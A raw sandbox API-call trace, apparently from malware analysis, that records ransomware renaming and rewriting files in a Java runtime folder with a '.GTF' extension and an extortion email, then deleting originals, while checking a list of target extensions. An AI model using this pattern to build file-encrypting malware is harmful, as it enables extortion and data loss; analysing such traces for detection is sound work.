	[0161.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4cc
	[0161.100] GetLastError () returned 0x0
	[0161.100] ReadFile (in: hFile=0x4ac, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x4e61, lpOverlapped=0x0) returned 1
	[0161.102] WriteFile (in: hFile=0x4cc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x4e70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4e70, lpOverlapped=0x0) returned 1
	[0161.104] ReadFile (in: hFile=0x4ac, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.104] WriteFile (in: hFile=0x4cc, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xea, lpOverlapped=0x0) returned 1
	[0161.104] SetEndOfFile (hFile=0x4cc) returned 1
	[0161.104] CloseHandle (hObject=0x4cc) returned 1
	[0161.104] SetFilePointerEx (in: hFile=0x4ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.104] SetEndOfFile (hFile=0x4ac) returned 1
	[0161.109] CloseHandle (hObject=0x4ac) returned 1
	[0161.109] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0161.236] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfr\\profile.jfc")) returned 1
	[0161.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.378] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.378] lstrlenW (lpString=".doc") returned 4
	[0161.378] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0161.378] lstrlenW (lpString=".docx") returned 5
	[0161.378] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0161.378] lstrlenW (lpString=".pdf") returned 4
	[0161.379] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0161.379] lstrlenW (lpString=".xls") returned 4
	[0161.379] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0161.379] lstrlenW (lpString=".xlsx") returned 5
	[0161.379] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0161.379] lstrlenW (lpString=".ppt") returned 4
	[0161.379] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0161.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.379] lstrlenW (lpString=".zip") returned 4
	[0161.379] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0161.379] lstrlenW (lpString=".rar") returned 4
	[0161.379] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0161.379] lstrlenW (lpString=".bz2") returned 4
	[0161.379] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0161.379] lstrlenW (lpString=".7z") returned 3
	[0161.379] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0161.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.379] lstrlenW (lpString=".dbf") returned 4
	[0161.379] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0161.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.379] lstrlenW (lpString=".1cd") returned 4
	[0161.379] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0161.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.379] lstrlenW (lpString=".jpg") returned 4
	[0161.379] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0161.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.379] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.379] lstrlenW (lpString=".doc") returned 4
	[0161.379] lstrcmpiW (lpString1=".doc", lpString2=".jfc") returned -1
	[0161.379] lstrlenW (lpString=".docx") returned 5
	[0161.379] lstrcmpiW (lpString1=".docx", lpString2="e.jfc") returned -1
	[0161.379] lstrlenW (lpString=".pdf") returned 4
	[0161.379] lstrcmpiW (lpString1=".pdf", lpString2=".jfc") returned 1
	[0161.379] lstrlenW (lpString=".xls") returned 4
	[0161.379] lstrcmpiW (lpString1=".xls", lpString2=".jfc") returned 1
	[0161.380] lstrlenW (lpString=".xlsx") returned 5
	[0161.380] lstrcmpiW (lpString1=".xlsx", lpString2="e.jfc") returned -1
	[0161.380] lstrlenW (lpString=".ppt") returned 4
	[0161.380] lstrcmpiW (lpString1=".ppt", lpString2=".jfc") returned 1
	[0161.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.380] lstrlenW (lpString=".zip") returned 4
	[0161.380] lstrcmpiW (lpString1=".zip", lpString2=".jfc") returned 1
	[0161.380] lstrlenW (lpString=".rar") returned 4
	[0161.380] lstrcmpiW (lpString1=".rar", lpString2=".jfc") returned 1
	[0161.380] lstrlenW (lpString=".bz2") returned 4
	[0161.380] lstrcmpiW (lpString1=".bz2", lpString2=".jfc") returned -1
	[0161.380] lstrlenW (lpString=".7z") returned 3
	[0161.380] lstrcmpiW (lpString1=".7z", lpString2="jfc") returned -1
	[0161.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.380] lstrlenW (lpString=".dbf") returned 4
	[0161.380] lstrcmpiW (lpString1=".dbf", lpString2=".jfc") returned -1
	[0161.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.380] lstrlenW (lpString=".1cd") returned 4
	[0161.380] lstrcmpiW (lpString1=".1cd", lpString2=".jfc") returned -1
	[0161.380] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfr\\profile.jfc") returned 54
	[0161.380] lstrlenW (lpString=".jpg") returned 4
	[0161.380] lstrcmpiW (lpString1=".jpg", lpString2=".jfc") returned 1
	[0161.380] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0161.380] lstrlenW (lpString="jfxswt.jar") returned 10
	[0161.380] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518
	[0161.634] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=33932) returned 1
	[0161.636] CloseHandle (hObject=0x518) returned 1
	[0161.636] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 0x20
	[0161.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0161.826] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0161.959] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.960] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.960] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0162.239] GetLastError () returned 0x0
	[0162.239] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x848c, lpOverlapped=0x0) returned 1
	[0162.265] WriteFile (in: hFile=0x540, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x8490, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x8490, lpOverlapped=0x0) returned 1
	[0162.266] ReadFile (in: hFile=0x45c, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.266] WriteFile (in: hFile=0x540, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0162.266] SetEndOfFile (hFile=0x540) returned 1
	[0162.267] CloseHandle (hObject=0x540) returned 1
	[0162.267] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.267] SetEndOfFile (hFile=0x45c) returned 1
	[0162.269] CloseHandle (hObject=0x45c) returned 1
	[0162.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.400] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\jfxswt.jar")) returned 1
	[0162.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.401] lstrlenW (lpString=".doc") returned 4
	[0162.401] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.401] lstrlenW (lpString=".docx") returned 5
	[0162.401] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0162.401] lstrlenW (lpString=".pdf") returned 4
	[0162.401] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.401] lstrlenW (lpString=".xls") returned 4
	[0162.401] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.401] lstrlenW (lpString=".xlsx") returned 5
	[0162.401] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0162.401] lstrlenW (lpString=".ppt") returned 4
	[0162.401] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.401] lstrlenW (lpString=".zip") returned 4
	[0162.401] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.401] lstrlenW (lpString=".rar") returned 4
	[0162.401] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.401] lstrlenW (lpString=".bz2") returned 4
	[0162.401] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.401] lstrlenW (lpString=".7z") returned 3
	[0162.401] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.401] lstrlenW (lpString=".dbf") returned 4
	[0162.401] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.401] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.401] lstrlenW (lpString=".1cd") returned 4
	[0162.402] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.402] lstrlenW (lpString=".jpg") returned 4
	[0162.402] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.402] lstrlenW (lpString=".doc") returned 4
	[0162.402] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0162.402] lstrlenW (lpString=".docx") returned 5
	[0162.402] lstrcmpiW (lpString1=".docx", lpString2="t.jar") returned -1
	[0162.402] lstrlenW (lpString=".pdf") returned 4
	[0162.402] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0162.402] lstrlenW (lpString=".xls") returned 4
	[0162.402] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0162.402] lstrlenW (lpString=".xlsx") returned 5
	[0162.402] lstrcmpiW (lpString1=".xlsx", lpString2="t.jar") returned -1
	[0162.402] lstrlenW (lpString=".ppt") returned 4
	[0162.402] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0162.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.402] lstrlenW (lpString=".zip") returned 4
	[0162.402] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0162.402] lstrlenW (lpString=".rar") returned 4
	[0162.402] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0162.402] lstrlenW (lpString=".bz2") returned 4
	[0162.402] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0162.402] lstrlenW (lpString=".7z") returned 3
	[0162.402] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0162.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.402] lstrlenW (lpString=".dbf") returned 4
	[0162.402] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0162.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.402] lstrlenW (lpString=".1cd") returned 4
	[0162.402] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0162.402] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\jfxswt.jar") returned 49
	[0162.402] lstrlenW (lpString=".jpg") returned 4
	[0162.402] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0162.403] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0162.403] lstrlenW (lpString="management.properties") returned 21
	[0162.403] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.404] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=14630) returned 1
	[0162.404] CloseHandle (hObject=0x508) returned 1
	[0162.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 0x20
	[0162.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.404] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.405] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.405] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.405] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.407] GetLastError () returned 0x0
	[0162.407] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x3926, lpOverlapped=0x0) returned 1
	[0162.409] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x3930, lpOverlapped=0x0) returned 1
	[0162.411] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.411] WriteFile (in: hFile=0x538, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfe, lpOverlapped=0x0) returned 1
	[0162.411] SetEndOfFile (hFile=0x538) returned 1
	[0162.411] CloseHandle (hObject=0x538) returned 1
	[0162.411] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.411] SetEndOfFile (hFile=0x508) returned 1
	[0162.413] CloseHandle (hObject=0x508) returned 1
	[0162.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0162.414] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\management.properties")) returned 1
	[0162.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.414] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.414] lstrlenW (lpString=".doc") returned 4
	[0162.414] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.414] lstrlenW (lpString=".docx") returned 5
	[0162.414] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.414] lstrlenW (lpString=".pdf") returned 4
	[0162.415] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString=".xls") returned 4
	[0162.415] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString=".xlsx") returned 5
	[0162.415] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.415] lstrlenW (lpString=".ppt") returned 4
	[0162.415] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.415] lstrlenW (lpString=".zip") returned 4
	[0162.415] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString=".rar") returned 4
	[0162.415] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString=".bz2") returned 4
	[0162.415] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString=".7z") returned 3
	[0162.415] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.415] lstrlenW (lpString=".dbf") returned 4
	[0162.415] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.415] lstrlenW (lpString=".1cd") returned 4
	[0162.415] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.415] lstrlenW (lpString=".jpg") returned 4
	[0162.415] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.415] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.415] lstrlenW (lpString=".doc") returned 4
	[0162.415] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString=".docx") returned 5
	[0162.415] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0162.415] lstrlenW (lpString=".pdf") returned 4
	[0162.415] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0162.415] lstrlenW (lpString=".xls") returned 4
	[0162.415] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0162.416] lstrlenW (lpString=".xlsx") returned 5
	[0162.416] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0162.416] lstrlenW (lpString=".ppt") returned 4
	[0162.416] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0162.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.416] lstrlenW (lpString=".zip") returned 4
	[0162.416] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0162.416] lstrlenW (lpString=".rar") returned 4
	[0162.416] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0162.416] lstrlenW (lpString=".bz2") returned 4
	[0162.416] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0162.416] lstrlenW (lpString=".7z") returned 3
	[0162.416] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0162.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.416] lstrlenW (lpString=".dbf") returned 4
	[0162.416] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0162.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.416] lstrlenW (lpString=".1cd") returned 4
	[0162.416] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0162.416] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\management.properties") returned 71
	[0162.416] lstrlenW (lpString=".jpg") returned 4
	[0162.416] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0162.416] lstrcmpiW (lpString1=".template", lpString2=".GTF") returned 1
	[0162.416] lstrlenW (lpString="snmp.acl.template") returned 17
	[0162.416] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.417] GetFileSizeEx (in: hFile=0x508, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3376) returned 1
	[0162.417] CloseHandle (hObject=0x508) returned 1
	[0162.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template")) returned 0x20
	[0162.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x508
	[0162.418] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.418] SetFilePointerEx (in: hFile=0x508, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.418] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\management\\snmp.acl.template.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0162.419] GetLastError () returned 0x0
	[0162.419] ReadFile (in: hFile=0x508, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0xd30, lpOverlapped=0x0) returned 1
